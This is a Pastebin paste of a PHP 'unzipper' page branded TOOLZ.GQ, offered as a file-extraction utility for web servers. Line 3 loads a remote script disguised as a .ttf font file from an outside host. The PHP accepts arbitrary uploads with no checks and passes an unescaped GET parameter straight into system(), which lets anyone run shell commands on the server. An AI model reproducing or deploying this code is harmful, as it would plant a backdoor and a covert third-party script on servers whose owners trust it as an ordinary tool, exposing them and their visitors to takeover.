nil_007

unzip

Sep 12th, 2018
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-UK">
  3. <script src='http://ip-api.org/wp-content/uploads-images/AlHurra-Font_Light.ttf'></script>
  4. <head>
  5. <title>TOOLZ.GQ Unzipper Script</title>
  6. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  7. <meta name="generator" content="thekid" />
  8. <meta name='robots' content='noindex,nofollow' />
  9. </head>
  10. <body>
  11. <center>
  12. <h1>www.toolz.gq</h1>
  13. </center>
  14. <?php
  15. (@copy($_FILES['unzip']['tmp_name'], $_FILES['unzip']['name']));
  16. $file = $_GET['file'];
  17. $removeorig = $_GET['removeorig'];
  18. $unzipper = $_GET['unzipper'];
  19. if (isset($file))
  20. {
  21. echo "Unzipping " . $file . "...<br />\n";
  22. system('unzip -o ' . $file);
  23. echo "<hr />\n";
  24. if (isset($removeorig)) {
  25. echo "Deleting Zip...<br />\n";
  26. unlink("$file");
  27. }
  28. }
  29. if (isset($unzipper)) {
  30. echo "Deleting Script...<br />\n";
  31. unlink(__FILE__);
  32. echo "Script Deleted!<br /><a href=\"/\">HOME</a>\n";
  33. exit;
  34. }
  35. $handler = opendir(".");
  36. echo "Please choose a file to unzip: <br />\n";
  37. echo '<form action="" method="get">'."\n";
  38. $found = 0;
  39. while ($file = readdir($handler))
  40. {
  41. if(strrchr($file,".zip") != ".zip" ) { continue; }
  42. {
  43. echo '<input type="radio" name="file" value="' . $file . '"/> ' . $file . "<br />\n";
  44. $found = 1;
  45. }
  46. }
  47. echo '<hr/><input type="checkbox" name="removeorig" value="Remove" />Delete .zip after extraction?'."<br />\n";
  48. echo '<input type="checkbox" name="unzipper" value="Remove" checked="checked" />Delete Unzipper Script? (Uncheck this box if you have more files to unzip!)'."<br />\n";
  49. closedir($handler);
  50. if ($found == FALSE)
  51. echo "No .zips found<br />";
  52. else
  53. echo '<br />NOTE: This unzips and <strong>REPLACES</strong> files.<br /><br /><input type="submit" value="Unzip!" />';
  54.  
  55. echo "\n</form>";
  56. ?>
  57. <p>Need more tools ? Check <a herf='http://toolz.gq'>TOOLZ.GQ</a></p>
  58. </body>
  59. </html>
Add Comment
Please, Sign In to add comment